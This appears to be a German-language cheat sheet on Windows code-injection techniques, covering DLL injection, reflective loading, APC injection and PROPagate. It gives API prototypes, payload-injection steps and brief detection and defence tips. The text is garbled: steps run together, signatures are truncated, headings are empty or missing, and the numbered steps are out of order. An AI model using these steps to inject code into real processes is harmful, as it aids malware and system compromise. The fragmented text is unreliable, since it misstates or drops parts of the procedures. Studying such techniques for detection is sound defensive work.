# Techniken zur Code-Injektion
## 1. DLL-Injektion
Diese Technik zwingt einen Prozess, eine schädliche DLL zu laden.
Wichtige APIs:
- [`OpenProcess`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess) ```c
HANDLE OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
VirtualAllocEx ```c
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
WriteProcessMemory ```c
BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);
CreateRemoteThread ```c
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
GetProcAddress ```c
FARPROC GetProcAddress(
HMODULE hModule,
LPCSTR lpProcName
);
LoadLibrary ```c
HMODULE LoadLibraryA(
LPCSTR lpLibFileName
);
Vorlage:
OpenProcessVirtualAllocExWriteProcessMemory in den reservierten SpeicherLoadLibraryA mit GetProcAddress abCreateRemoteThread, der auf LoadLibraryA zeigt, und übergeben Sie die Adresse von LoadLibraryA als Parameter lpStartAddress.NtCreateThread oder RtlCreateUserThread für alternative Methoden zur Thread-ErstellungErkennung und Abwehr:
Diese Technik besteht darin, schädlichen Code in einem Remote-Prozess oder im selben Prozess (Selbstinjektion) zu schreiben und auszuführen.
Wichtige APIs:
OpenThread ```c
HANDLE OpenThread(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwThreadId
);
SuspendThread ```c
DWORD SuspendThread(

Template:

Ähnlich wie die PE-Injektion, vermeidet jedoch die Verwendung von LoadLibrary und CreateRemoteThread. Dabei wird ein benutzerdefinierter Loader geschrieben, der eine DLL aus dem Speicher laden kann, ohne den standardmäßigen Windows-Loader zu verwenden.
Wichtige APIs:
CreateFileMapping ```c

CreateThread (siehe CreateRemoteThread oben)Zusätzliche APIs, die manchmal verwendet werden:
VirtualQueryEx ```c

PMEMORY_BASIC_INFORMATION lpBuffer,
SIZE_T dwLength
);
ReadProcessMemory ```c

Diese Technik ermöglicht die Codeausführung in einem bestimmten Thread, indem sie sich an eine Warteschlange für asynchrone Prozeduraufrufe (APC) anhängt. Funktioniert am besten mit alertable Threads (solchen, die unterbrechbare Wartefunktionen aufrufen).

7. Eine neue Eigenschaft mit `SetPropA` festlegen, um die Payload zu speichern
8. Die Ausführung durch Senden einer Nachricht mit `PostMessage` auslösen
Erkennung und Abwehr:

Vorgehen:
1. Finde ein Zielfenster mithilfe von `FindWindow` oder `EnumWindows`
2. Allokiere Speicher für die Payload mithilfe von `VirtualAllocEx`
3. Schreibe die Payload mit `WriteProcessMemory` in den allokierten Speicher
4. Verwende `SetProp`, um eine Eigenschaft am Fenster zu setzen, wobei die Payload-Adresse als Eigenschaftswert dient
- Erstelle eine benutzerdefinierte Fensterprozedur, die die Payload ausführt
- Verwende `SetWindowLongPtr`, um die ursprüngliche Fensterprozedur durch die benutzerdefinierte zu ersetzen
6. Löse die Ausführung aus, indem du das Fenster dazu bringst, seine Eigenschaften aufzulisten (z. B. durch Senden einer Nachricht, die ein Neuzeichnen verursacht)
Erkennung und Abwehr:
- Überwache auf verdächtige Änderungen an Fenstereigenschaften
- Implementiere Integritätsprüfungen für Fenstereigenschaften
- Nutze EDR-Lösungen mit Fähigkeiten zur Erkennung von PROPagate-Techniken
- Setze verhaltensbasierte Erkennung ein, um Prozesse mit unerwarteten Änderungen an Fenstereigenschaften zu identifizieren
